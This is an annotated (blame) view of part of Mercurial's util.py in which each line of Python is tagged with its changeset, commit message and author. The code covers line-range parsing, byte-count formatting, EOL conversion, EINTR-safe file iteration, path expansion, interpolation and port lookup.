Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2447 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2448 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2449 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2450 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2451 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2452 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2453 if toline - fromline < 0: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2454 raise error.ParseError(_("line range must be positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2455 if fromline < 1: |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2456 raise error.ParseError(_("fromline must be strictly positive")) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2457 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2458 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2459 bytecount = unitcountfn( |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2460 (100, 1 << 30, _('%.0f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2461 (10, 1 << 30, _('%.1f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2462 (1, 1 << 30, _('%.2f GB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2463 (100, 1 << 20, _('%.0f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2464 (10, 1 << 20, _('%.1f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2465 (1, 1 << 20, _('%.2f MB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2466 (100, 1 << 10, _('%.0f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2467 (10, 1 << 10, _('%.1f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2468 (1, 1 << 10, _('%.2f KB')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2469 (1, 1, _('%.0f bytes')), |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2470 ) |
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2471 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2472 class transformingwriter(object): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2473 """Writable file wrapper to transform data by function""" |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2474 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2475 def __init__(self, fp, encode): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2476 self._fp = fp |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2477 self._encode = encode |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2478 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2479 def close(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2480 self._fp.close() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2481 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2482 def flush(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2483 self._fp.flush() |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2484 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2485 def write(self, data): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2486 return self._fp.write(self._encode(data)) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2487 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2488 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2489 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2490 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2491 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2492 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2493 def tolf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2494 return _eolre.sub('\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2495 |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2496 def tocrlf(s): |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2497 return _eolre.sub('\r\n', s) |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2498 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2499 def _crlfwriter(fp): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2500 return transformingwriter(fp, tocrlf) |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2501 |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2502 if pycompat.oslinesep == '\r\n': |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2503 tonativeeol = tocrlf |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2504 fromnativeeol = tolf |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2505 nativeeolwriter = _crlfwriter |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2506 else: |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2507 tonativeeol = pycompat.identity |
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2508 fromnativeeol = pycompat.identity |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2509 nativeeolwriter = pycompat.identity |
31777
6a5b69b0abec
util: add helper to convert between LF and native EOL
Yuya Nishihara <yuya@tcha.org>
parents:
31776
diff
changeset
|
2510 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2511 if (pyplatform.python_implementation() == 'CPython' and |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2512 sys.version_info < (3, 0)): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2513 # There is an issue in CPython that some IO methods do not handle EINTR |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2514 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2515 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2516 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2517 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2518 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2519 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2520 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2521 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2522 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2523 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2524 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2525 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2526 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2527 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2528 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2529 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2530 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2531 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2532 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2533 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2534 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2535 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2536 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2537 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2538 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2539 def _safeiterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2540 return iter(fp.readline, '') |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2541 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2542 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2543 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2544 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2545 fd = fp.fileno() |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2546 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2547 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2548 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2549 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2550 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2551 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2552 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2553 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2554 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2555 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2556 line += buf |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2557 if '\n' in buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2558 splitted = line.splitlines(True) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2559 line = '' |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2560 for l in splitted: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2561 if l[-1] == '\n': |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2562 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2563 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2564 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2565 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2566 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2567 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2568 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2569 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2570 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2571 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2572 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2573 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2574 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2575 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2576 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2577 return _safeiterfile(fp) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2578 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2579 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2580 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2581 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2582 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2583 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2584 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2585 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2586 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2587 |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2588 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2589 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
2590 |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2591 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False): |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2592 """Return the result of interpolating items in the mapping into string s. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2593 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2594 prefix is a single character string, or a two character string with |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2595 a backslash as the first character if the prefix needs to be escaped in |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2596 a regular expression. |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2597 |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2598 fn is an optional function that will be applied to the replacement text |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2599 just before replacement. |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2600 |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2601 escape_prefix is an optional flag that allows using doubled prefix for |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2602 its escaping. |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2603 """ |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2604 fn = fn or (lambda s: s) |
13392
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2605 patterns = '|'.join(mapping.keys()) |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2606 if escape_prefix: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2607 patterns += '|' + prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2608 if len(prefix) > 1: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2609 prefix_char = prefix[1:] |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2610 else: |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2611 prefix_char = prefix |
777cef34a890
dispatch: support for $ escaping in shell-alias definition
Roman Sokolov <sokolov.r.v@gmail.com>
parents:
13375
diff
changeset
|
2612 mapping[prefix_char] = prefix_char |
35145
25c543944bc0
py3: add b'' to regular expressions which are raw strings
Pulkit Goyal <7895pulkit@gmail.com>
parents:
35014
diff
changeset
|
2613 r = remod.compile(br'%s(%s)' % (prefix, patterns)) |
11988
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2614 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
8380ed691df8
util: add an interpolate() function to for replacing multiple values
Steve Losh <steve@stevelosh.com>
parents:
11946
diff
changeset
|
2615 |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2616 def getport(port): |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2617 """Return the port for a given network service. |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2618 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2619 If port is an integer, it's returned as is. If it's a string, it's |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2620 looked up using socket.getservbyname(). If there's no matching |
26587
56b2bcea2529
error: get Abort from 'error' instead of 'util'
Pierre-Yves David <pierre-yves.david@fb.com>
parents:
26493
diff
changeset
|
2621 service, error.Abort is raised. |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2622 """ |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2623 try: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2624 return int(port) |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2625 except ValueError: |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2626 pass |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2627 |
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2628 try: |
36038
15c8c4ac5d9c
py3: pass system string to socket.getservbyname
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35900
diff
changeset
|
2629 return socket.getservbyname(pycompat.sysstr(port)) |
12076
49463314c24f
mail/hgweb: support service names for ports (issue2350)
Brodie Rao <brodie@bitheap.org>
parents:
12054
diff
changeset
|
2630 except socket.error: |
37096
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2631 raise error.Abort(_("no port number associated with service '%s'") |
895f209b593b
util: use error.Abort instead of local alias
Yuya Nishihara <yuya@tcha.org>
parents:
37095
diff
changeset
|
2632 % port) |
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2633 |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
